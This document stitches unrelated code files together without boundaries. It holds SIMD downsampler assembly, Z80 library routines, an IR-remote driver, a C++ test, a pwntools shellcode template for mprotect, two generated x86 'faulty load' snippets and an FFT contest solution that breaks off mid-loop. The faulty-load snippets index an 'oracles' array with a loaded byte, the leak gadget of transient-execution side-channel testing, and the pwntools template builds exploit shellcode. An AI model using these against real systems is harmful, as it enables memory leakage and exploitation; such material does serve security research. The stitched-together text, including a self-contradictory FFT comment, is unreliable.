P o O n N m M l L k K j J i I ;=> target: ;: H G F E D C B A, P O N M L K J I ;: h g f e d c b a, p o n m l k j i ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movntdqa xmm0, [esi] ; 1st_src_line movntdqa xmm1, [esi+ecx] ; 2nd_src_line ; packing & avg movdqa xmm2, xmm0 ; h H g G f F e E d D c C b B a A pshufb xmm0, xmm7 ; 0 H 0 G 0 F 0 E 0 D 0 C 0 B 0 A pshufb xmm2, xmm6 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a ; psubb xmm2, xmm0 ; h 0 g 0 f 0 e 0 d 0 c 0 b 0 a 0 ; psrlw xmm2, 8 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a pavgb xmm0, xmm2 movdqa xmm3, xmm1 pshufb xmm1, xmm7 pshufb xmm3, xmm6 ; psubb xmm3, xmm1 ; psrlw xmm3, 8 pavgb xmm1, xmm3 pavgb xmm0, xmm1 packuswb xmm0, xmm1 ; write pDst movq [edi], xmm0 ; next SMB lea esi, [esi+16] lea edi, [edi+8] dec eax jg near .xloops ; next line lea esi, [esi+2*ecx] ; next end of lines lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth] lea edi, [edi+edx] lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth] dec ebp jg near .yloops pop ebp pop edi pop esi pop edx pop ebx ret WELS_EXTERN GeneralBilinearAccurateDownsampler_sse2 ;************************************************************************************************************** ;int GeneralBilinearAccurateDownsampler_sse2( unsigned char* pDst, const int iDstStride, const int iDstWidth, const int iDstHeight, ; unsigned char* pSrc, const int iSrcStride, const int iSrcWidth, const int iSrcHeight, ; unsigned int uiScaleX, unsigned int uiScaleY ); ;{ ;************************************************************************************************************** ALIGN 16 GeneralBilinearAccurateDownsampler_sse2: push ebp push esi push edi push ebx %define pushsize 16 %define localsize 28 %define pDstData esp + pushsize + localsize + 4 %define dwDstStride esp + pushsize + localsize + 8 %define dwDstWidth esp + pushsize + localsize + 12 %define dwDstHeight esp + pushsize + localsize + 16 %define pSrcData esp + pushsize + localsize + 20 %define dwSrcStride esp + pushsize + localsize + 24 %define dwSrcWidth esp + pushsize + localsize + 28 %define dwSrcHeight esp + pushsize + localsize + 32 %define scale esp + 0 %define uiScaleX esp + pushsize + localsize + 36 %define uiScaleY esp + pushsize + localsize + 40 %define tmpHeight esp + 12 %define yInverse esp + 16 %define xInverse esp + 20 %define dstStep esp + 24 sub esp, localsize pxor xmm0, xmm0 mov edx, 32767 mov eax, [uiScaleX] and eax, 32767 mov ebx, eax neg ebx and ebx, 32767 movd xmm1, eax ; uinc(uiScaleX mod 32767) movd xmm2, ebx ; -uinc psllq xmm1, 32 por xmm1, xmm2 ; 0 0 uinc -uinc (dword) pshufd xmm7, xmm1, 01000100b ; xmm7: uinc -uinc uinc -uinc mov eax, [uiScaleY] and eax, 32767 mov ebx, eax neg ebx and ebx, 32767 movd xmm6, eax ; vinc(uiScaleY mod 32767) movd xmm2, ebx ; -vinc psllq xmm6, 32 por xmm6, xmm2 ; 0 0 vinc -vinc (dword) pshufd xmm6, xmm6, 01010000b ; xmm6: vinc vinc -vinc -vinc mov edx, 40003fffh movd xmm5, edx punpcklwd xmm5, xmm0 ; 16384 16383 pshufd xmm5, xmm5, 01000100b ; xmm5: 16384 16383 16384 16383 DOWNSAMPLE: mov eax, [dwDstHeight] mov edi, [pDstData] mov edx, [dwDstStride] mov ecx, [dwDstWidth] sub edx, ecx mov [dstStep], edx ; stride - width dec eax mov [tmpHeight], eax mov eax, 16384 mov [yInverse], eax pshufd xmm4, xmm5, 01010000b ; initial v to 16384 16384 16383 16383 HEIGHT: mov eax, [yInverse] mov esi, [pSrcData] shr eax, 15 mul dword [dwSrcStride] add esi, eax ; get current row address mov ebp, esi add ebp, [dwSrcStride] mov eax, 16384 mov [xInverse], eax mov ecx, [dwDstWidth] dec ecx movdqa xmm3, xmm5 ; initial u to 16384 16383 16384 16383 WIDTH: mov eax, [xInverse] shr eax, 15 movd xmm1, [esi+eax] ; xxxxxxba movd xmm2, [ebp+eax] ; xxxxxxdc pxor xmm0, xmm0 punpcklwd xmm1, xmm2 ; xxxxdcba punpcklbw xmm1, xmm0 ; 0d0c0b0a punpcklwd xmm1, xmm0 ; 000d000c000b000a movdqa xmm2, xmm4 ; xmm2: vv(1-v)(1-v) tmpv pmaddwd xmm2, xmm3 ; mul u(1-u)u(1-u) on xmm2 movdqa xmm0, xmm2 pmuludq xmm2, xmm1 psrlq xmm0, 32 psrlq xmm1, 32 pmuludq xmm0, xmm1 paddq xmm2, xmm0 pshufd xmm1, xmm2, 00001110b paddq xmm2, xmm1 psrlq xmm2, 29 movd eax, xmm2 inc eax shr eax, 1 mov [edi], al inc edi mov eax, [uiScaleX] add [xInverse], eax paddw xmm3, xmm7 ; inc u psllw xmm3, 1 psrlw xmm3, 1 loop WIDTH WIDTH_END: mov eax, [xInverse] shr eax, 15 mov cl, [esi+eax] mov [edi], cl inc edi mov eax, [uiScaleY] add [yInverse], eax add edi, [dstStep] paddw xmm4, xmm6 ; inc v psllw xmm4, 1 psrlw xmm4, 1 dec dword [tmpHeight] jg HEIGHT LAST_ROW: mov eax, [yInverse] mov esi, [pSrcData] shr eax, 15 mul dword [dwSrcStride] add esi, eax ; get current row address mov eax, 16384 mov [xInverse], eax mov ecx, [dwDstWidth] LAST_ROW_WIDTH: mov eax, [xInverse] shr eax, 15 mov al, [esi+eax] mov [edi], al inc edi mov eax, [uiScaleX] add [xInverse], eax loop LAST_ROW_WIDTH LAST_ROW_END: add esp, localsize pop ebx pop edi pop esi pop ebp %undef pushsize %undef localsize %undef pSrcData %undef dwSrcWidth %undef dwSrcHeight %undef dwSrcStride %undef pDstData %undef dwDstWidth %undef dwDstHeight %undef dwDstStride %undef scale %undef uiScaleX %undef uiScaleY %undef tmpHeight %undef yInverse %undef xInverse %undef dstStep ret WELS_EXTERN GeneralBilinearFastDownsampler_sse2 ;************************************************************************************************************** ;int GeneralBilinearFastDownsampler_sse2( unsigned char* pDst, const int iDstStride, const int iDstWidth, const int iDstHeight, ; unsigned char* pSrc, const int iSrcStride, const int iSrcWidth, const int iSrcHeight, ; unsigned int uiScaleX, unsigned int uiScaleY ); ;{ ;************************************************************************************************************** ALIGN 16 GeneralBilinearFastDownsampler_sse2: push ebp push esi push edi push ebx %define pushsize 16 %define localsize 28 %define pDstData esp + pushsize + localsize + 4 %define dwDstStride esp + pushsize + localsize + 8 %define dwDstWidth esp + pushsize + localsize + 12 %define dwDstHeight esp + pushsize + localsize + 16 %define pSrcData esp + pushsize + localsize + 20 %define dwSrcStride esp + pushsize + localsize + 24 %define dwSrcWidth esp + pushsize + localsize + 28 %define dwSrcHeight esp + pushsize + localsize + 32 %define scale esp + 0 %define uiScaleX esp + pushsize + localsize + 36 %define uiScaleY esp + pushsize + localsize + 40 %define tmpHeight esp + 12 %define yInverse esp + 16 %define xInverse esp + 20 %define dstStep esp + 24 sub esp, localsize pxor xmm0, xmm0 mov edx, 65535 mov eax, [uiScaleX] and eax, edx mov ebx, eax neg ebx and ebx, 65535 movd xmm1, eax ; uinc(uiScaleX mod 65536) movd xmm2, ebx ; -uinc psllq xmm1, 32 por xmm1, xmm2 ; 0 uinc 0 -uinc pshuflw xmm7, xmm1, 10001000b ; xmm7: uinc -uinc uinc -uinc mov eax, [uiScaleY] and eax, 32767 mov ebx, eax neg ebx and ebx, 32767 movd xmm6, eax ; vinc(uiScaleY mod 32767) movd xmm2, ebx ; -vinc psllq xmm6, 32 por xmm6, xmm2 ; 0 vinc 0 -vinc pshuflw xmm6, xmm6, 10100000b ; xmm6: vinc vinc -vinc -vinc mov edx, 80007fffh ; 32768 32767 movd xmm5, edx pshuflw xmm5, xmm5, 01000100b ; 32768 32767 32768 32767 mov ebx, 16384 FAST_DOWNSAMPLE: mov eax, [dwDstHeight] mov edi, [pDstData] mov edx, [dwDstStride] mov ecx, [dwDstWidth] sub edx, ecx mov [dstStep], edx ; stride - width dec eax mov [tmpHeight], eax mov eax, 16384 mov [yInverse], eax pshuflw xmm4, xmm5, 01010000b psrlw xmm4, 1 ; initial v to 16384 16384 16383 16383 FAST_HEIGHT: mov eax, [yInverse] mov esi, [pSrcData] shr eax, 15 mul dword [dwSrcStride] add esi, eax ; get current row address mov ebp, esi add ebp, [dwSrcStride] mov eax, 32768 mov [xInverse], eax mov ecx, [dwDstWidth] dec ecx movdqa xmm3, xmm5 ; initial u to 32768 32767 32768 32767 FAST_WIDTH: mov eax, [xInverse] shr eax, 16 movd xmm1, [esi+eax] ; xxxxxxba movd xmm2, [ebp+eax] ; xxxxxxdc punpcklwd xmm1, xmm2 ; xxxxdcba punpcklbw xmm1, xmm0 ; 0d0c0b0a movdqa xmm2, xmm4 ; xmm2: vv(1-v)(1-v) tmpv pmulhuw xmm2, xmm3 ; mul u(1-u)u(1-u) on xmm2 pmaddwd xmm2, xmm1 pshufd xmm1, xmm2, 00000001b paddd xmm2, xmm1 movd xmm1, ebx paddd xmm2, xmm1 psrld xmm2, 15 packuswb xmm2, xmm0 movd eax, xmm2 mov [edi], al inc edi mov eax, [uiScaleX] add [xInverse], eax paddw xmm3, xmm7 ; inc u loop FAST_WIDTH FAST_WIDTH_END: mov eax, [xInverse] shr eax, 16 mov cl, [esi+eax] mov [edi], cl inc edi mov eax, [uiScaleY] add [yInverse], eax add edi, [dstStep] paddw xmm4, xmm6 ; inc v psllw xmm4, 1 psrlw xmm4, 1 dec dword [tmpHeight] jg FAST_HEIGHT FAST_LAST_ROW: mov eax, [yInverse] mov esi, [pSrcData] shr eax, 15 mul dword [dwSrcStride] add esi, eax ; get current row address mov eax, 32768 mov [xInverse], eax mov ecx, [dwDstWidth] FAST_LAST_ROW_WIDTH: mov eax, [xInverse] shr eax, 16 mov al, [esi+eax] mov [edi], al inc edi mov eax, [uiScaleX] add [xInverse], eax loop FAST_LAST_ROW_WIDTH FAST_LAST_ROW_END: add esp, localsize pop ebx pop edi pop esi pop ebp %undef pushsize %undef localsize %undef pSrcData %undef dwSrcWidth %undef dwSrcHeight %undef dwSrcStride %undef pDstData %undef dwDstWidth %undef dwDstHeight %undef dwDstStride %undef scale %undef uiScaleX %undef uiScaleY %undef tmpHeight %undef yInverse %undef xInverse %undef dstStep ret
; void outp_callee(uint port, uchar byte) ; 09.2005 aralbrec SECTION code_clib PUBLIC outp_callee PUBLIC _outp_callee PUBLIC asm_outp .outp_callee ._outp_callee pop af pop de pop bc push af .asm_outp ; bc = port ; e = byte IF __CPU_R2KA__|__CPU_R3K__ ld h,b ld l,c ld a,e defb 0d3h ; ioi ld (hl),a ELSE out (c),e ENDIF ret
mov al, 0x55 mov ah, 0xaa mov ax, 0xaa00 mov bl, 0xaa mov bh, 0x55 mov bx, 0x00aa mov cl, [0x55aa] mov ch, [0xaa55] mov cx, [si] mov dx, ax mov dh, ah mov dl, al
; =============================================================== ; Dec 2013 ; =============================================================== ; ; unsigned long strtoul( const char * restrict nptr, char ** restrict endptr, int base) ; ; Read number encoded in given radix from string; if base == 0, ; radix is auto-detected as decimal, octal or hex. ; ; Functionality is complicated so best refer to online C docs. ; ; =============================================================== SECTION code_stdlib PUBLIC asm_strtoul EXTERN __strtoul__, error_einval_zc, error_erange_mc, error_erange_zc asm_strtoul: ; enter : bc = int base ; de = char **endp ; hl = char *nptr ; ; exit : *endp = bc as detailed below ; ; no error: ; ; carry reset ; dehl = unsigned long result ; bc = char *nptr (& next unconsumed char) ; ixl = base ; ; invalid input string or base: ; ; carry set ; bc = initial char *nptr ; ixl = base ; dehl = 0 ; errno set to EINVAL ; ; overflow: ; ; carry set ; bc = char *nptr (& next unconsumed char following oversized number) ; ixl = base ; dehl = $ffffffff (ULONG_MAX) or $80000000 (LONG_MIN) ; errno set to ERANGE ; ; uses : af, bc, de, hl, ix call __strtoul__ ret nc ; no errors ; what kind of error was it dec a jp m, error_einval_zc ; on invalid base or invalid string jr z, signed_overflow unsigned_overflow: ld de,$ffff jp error_erange_mc ; dehl = $ffffffff = ULONG_MAX signed_overflow: ld de,$8000 jp error_erange_zc ; dehl = $800000000 = LONG_MIN
/* * Copyright (c) 2017-2018 Morwenn * SPDX-License-Identifier: MIT */ //===----------------------------------------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #include <string> #include <type_traits> #include <catch2/catch.hpp> #include <tight_pair.h> TEST_CASE( "test default constructor triviality" ) { static_assert(std::is_trivially_destructible_v<cruft::tight_pair<int, float>>); static_assert(not std::is_trivially_destructible_v<cruft::tight_pair<int, std::string>>); }
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft import six %> <%docstring>mprotect(addr, length, prot) -> str Invokes the syscall mprotect. See 'man 2 mprotect' for more information. Arguments: addr(void*): addr len(size_t): len prot(int): prot Returns: int </%docstring> <%page args="addr=0, length=0, prot=0"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = ['addr'] can_pushstr_array = [] argument_names = ['addr', 'length', 'prot'] argument_values = [addr, length, prot] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%r' % (name, arg)) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)): if isinstance(arg, six.text_type): arg = arg.encode('utf-8') string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_mprotect']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* mprotect(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
#include "IRremote.h" // Reverse Engineered by looking at RAW dumps generated by IRremote // I have since discovered that Denon publish all their IR codes: // https://www.google.co.uk/search?q=DENON+MASTER+IR+Hex+Command+Sheet // -> http://assets.denon.com/documentmaster/us/denon%20master%20ir%20hex.xls // Having looked at the official Denon Pronto sheet and reverse engineered // the timing values from it, it is obvious that Denon have a range of // different timings and protocols ...the values here work for my AVR-3801 Amp! //============================================================================== // DDDD EEEEE N N OOO N N // D D E NN N O O NN N // D D EEE N N N O O N N N // D D E N NN O O N NN // DDDD EEEEE N N OOO N N //============================================================================== #define DENON_BITS 14 // The number of bits in the command #define DENON_HEADER_MARK 300 // The length of the Header:Mark #define DENON_HEADER_SPACE 750 // The lenght of the Header:Space #define DENON_BIT_MARK 300 // The length of a Bit:Mark #define DENON_ONE_SPACE 1800 // The length of a Bit:Space for 1's #define DENON_ZERO_SPACE 750 // The length of a Bit:Space for 0's //+============================================================================= // #if SEND_DENON void IRsend::sendDenon(unsigned long data, int nbits) { // Set IR carrier frequency enableIROut(38); // Header mark(DENON_HEADER_MARK); space(DENON_HEADER_SPACE); // Data sendPulseDistanceWidthData(DENON_BIT_MARK, DENON_ONE_SPACE, DENON_BIT_MARK, DENON_ZERO_SPACE, data, nbits); // Footer mark(DENON_BIT_MARK); space(0); // Always end with the LED off } #endif //+============================================================================= // #if DECODE_DENON bool IRrecv::decodeDenon() { int offset = 1; // Skip the gap reading // Check we have the right amount of data if (irparams.rawlen != 1 + 2 + (2 * DENON_BITS) + 1) { return false; } // Check initial Mark+Space match if (!MATCH_MARK(results.rawbuf[offset], DENON_HEADER_MARK)) { return false; } offset++; if (!MATCH_SPACE(results.rawbuf[offset], DENON_HEADER_SPACE)) { return false; } offset++; // Read the bits in if (!decodePulseDistanceData(DENON_BITS, offset, DENON_BIT_MARK, DENON_ONE_SPACE, DENON_ZERO_SPACE)) { return false; } // Success results.bits = DENON_BITS; results.decode_type = DENON; return true; } bool IRrecv::decodeDenon(decode_results *aResults) { bool aReturnValue = decodeDenon(); *aResults = results; return aReturnValue; } #endif
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r9 push %rax push %rbp lea addresses_UC_ht+0xb813, %rbp nop nop nop sub %r9, %r9 movb (%rbp), %al nop nop nop nop xor $21294, %r10 pop %rbp pop %rax pop %r9 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %rax push %rcx push %rdx // Store lea addresses_D+0x16cbf, %r13 nop xor %rdx, %rdx movw $0x5152, (%r13) nop nop nop nop cmp %rcx, %rcx // Faulty Load lea addresses_UC+0xd997, %rax nop cmp %r15, %r15 vmovups (%rax), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %rcx lea oracles, %rdx and $0xff, %rcx shlq $12, %rcx mov (%rdx,%rcx,1), %rcx pop %rdx pop %rcx pop %rax pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 3, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_UC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %rax push %rbp push %rbx push %rdi push %rdx lea addresses_WC_ht+0x3211, %r10 nop nop nop nop nop xor $19749, %rbx movups (%r10), %xmm5 vpextrq $1, %xmm5, %rdi xor %rdx, %rdx lea addresses_A_ht+0x3d41, %rbp clflush (%rbp) nop nop nop xor $46557, %rax movb $0x61, (%rbp) nop and %rax, %rax lea addresses_D_ht+0x15400, %rbp nop nop cmp $49433, %r15 movb (%rbp), %r10b nop nop nop nop nop add $31528, %rbp pop %rdx pop %rdi pop %rbx pop %rbp pop %rax pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r8 push %r9 push %rax push %rdi // Faulty Load lea addresses_A+0x4a11, %r8 nop cmp %rdi, %rdi vmovups (%r8), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %r13 lea oracles, %r8 and $0xff, %r13 shlq $12, %r13 mov (%r8,%r13,1), %r13 pop %rdi pop %rax pop %r9 pop %r8 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': True, 'congruent': 8, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1}} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 1}, 'OP': 'LOAD'} {'00': 10} 00 00 00 00 00 00 00 00 00 00 */
; size_t balloc_blockcount(unsigned int queue) SECTION code_alloc_balloc PUBLIC _balloc_blockcount EXTERN asm_balloc_blockcount _balloc_blockcount: pop af pop hl push hl push af jp asm_balloc_blockcount
#include <bits/stdc++.h> using namespace std; #define READ(f) freopen(f, "r", stdin) #define WRITE(f) freopen(f, "w", stdout) #define MP(x, y) make_pair(x, y) #define PB(x) push_back(x) #define FOR(i,L,R) for (int i = (int)(L); i <= (int)(R); i++) #define ROF(i,L,R) for (int i = (int)(L); i >= (int)(R); i--) #define FOREACH(i,t) for (typeof(t.begin()) i=t.begin(); i!=t.end(); i++) #define ALL(p) p.begin(),p.end() #define ALLR(p) p.rbegin(),p.rend() #define SET(p) memset(p, -1, sizeof(p)) #define CLR(p) memset(p, 0, sizeof(p)) #define MEM(p, v) memset(p, v, sizeof(p)) #define getI(a) scanf("%d", &a) #define getII(a,b) scanf("%d%d", &a, &b) #define getIII(a,b,c) scanf("%d%d%d", &a, &b, &c) #define getL(a) scanf("%lld",&a) #define getLL(a,b) scanf("%lld%lld",&a,&b) #define getLLL(a,b,c) scanf("%lld%lld%lld",&a,&b,&c) #define getC(n) scanf("%c",&n) #define getF(n) scanf("%lf",&n) #define getS(n) scanf("%s",n) #define bitCheck(N,in) ((bool)(N&(1<<(in)))) #define bitOff(N,in) (N&(~(1<<(in)))) #define bitOn(N,in) (N|(1<<(in))) #define bitFlip(a,k) (a^(1<<(k))) #define bitCount(a) __builtin_popcount(a) #define bitCountLL(a) __builtin_popcountll(a) #define bitLeftMost(a) (63-__builtin_clzll((a))) #define bitRightMost(a) (__builtin_ctzll(a)) #define UNIQUE(V) (V).erase(unique((V).begin(),(V).end()),(V).end()) #define vi vector < int > #define vii vector < vector < int > > #define pii pair< int, int > #define ff first #define ss second #define ll long long #define ull unsigned long long #define sf scanf #define pf printf #define FMT(...) (sprintf(CRTBUFF, __VA_ARGS__)?CRTBUFF:0) char CRTBUFF[30000]; #ifdef dipta007 #define debug(args...) {cerr<<"Debug: "; dbg,args; cerr<<endl;} #define trace(...) __f(#__VA_ARGS__, __VA_ARGS__) template <typename Arg1> void __f(const char* name, Arg1&& arg1){ cerr << name << " : " << arg1 << std::endl; } template <typename Arg1, typename... Args> void __f(const char* names, Arg1&& arg1, Args&&... args){ const char* comma = strchr(names + 1, ',');cerr.write(names, comma - names) << " : " << arg1<<" | ";__f(comma+1, args...); } #else #define debug(args...) /// Just strip off all debug tokens #define trace(...) ///yeeeee #endif struct debugger{ template<typename T> debugger& operator , (const T& v){ cerr<<v<<" "; return *this; } }dbg; const double EPS = 1e-9; const int INF = 0x7f7f7f7f; const double PI=acos(-1.0); // g++ -g -O2 -std=gnu++11 A.cpp // ./a.out ///****************** template ends here **************** int t, n, m; /*** * Multiply (7x^2 + 8x^1 + 9x^0) with (6x^1 + 5x^0) * ans = 41x^3 + 83x^2 + 94x^1 + 45x^0 * A = {9, 8, 7} * B = {5, 6} * V = multiply(A,B) * V = {45, 94, 83, 42} ***/ /*** Tricks * Use vector < bool > if you need to check only the status of the sum * Use bigmod if the power is over same polynomial && power is big * Use long double if you need more precision * Use long long for overflow ***/ using cd = complex<double>; void fft(vector<cd> & a, bool invert) { int n = a.size(); for (int i = 1, j = 0; i < n; i++) { int bit = n >> 1; for (; j & bit; bit >>= 1) j ^= bit; j ^= bit; if (i < j) swap(a[i], a[j]); } for (int len = 2; len <= n; len <<= 1) { double ang = 2 * PI / len * (invert ? -1 : 1); cd wlen(cos(ang), sin(ang)); for (int i = 0; i < n; i += len) { cd w(1); for (int j = 0; j < len / 2; j++) { cd u = a[i+j], v = a[i+j+len/2] * w; a[i+j] = u + v; a[i+j+len/2] = u - v; w *= wlen; } } } if (invert) { for (cd & x : a) x /= n; } } vi multiply(vi const& a, vi const& b) { vector<cd> fa(a.begin(), a.end()), fb(b.begin(), b.end()); int n = 1; while (n < a.size() + b.size()) n <<= 1; fa.resize(n); fb.resize(n); fft(fa, false); fft(fb, false); for (int i = 0; i < n; i++) fa[i] *= fb[i]; fft(fa, true); vi result(n); for (int i = 0; i < n; i++) result[i] = round(fa[i].real()); /********** For Base 10 Multiplication **********/ // int carry = 0; // for (int i = 0; i < n; i++){ // result[i] += carry; // carry = result[i] / 10; // result[i] %= 10; // } return result; } inline int shift(int x) { return x + 20000; } inline int revert(int x) { return x - 60000; } #define MX 20000*6+4 int main() { #ifdef dipta007 //READ("in.txt"); //WRITE("out.txt"); #endif // dipta007 // ios_base::sync_with_stdio(0);cin.tie(0); int n; while(~getI(n)) { vi v; int mx = -INF; vi a(MX, 0); ///, _2a(MX, 0), _a(MX,0), _3a(MX,0); FOR(i,1,n) { int x; getI(x); v.PB( shift(x) ); mx = max(mx, v.back()); } FOR(i,0,n-1) a[ v[i] ] += 1; trace(MX); vi a2 = multiply( a, a ); /// has (i, i) vi a3 = multiply( a2, a); /// has (i, i, i) & (i, i, j) vi aintoa(MX, 0); FOR(i,0,n-1) { ll kk = v[i] + v[i]; aintoa[kk] += 1; } vi aintoab = multiply(aintoa, a); ///has (i,i,j) and (i,i,i) FOR(i, 0, shift(mx+mx+mx)) { 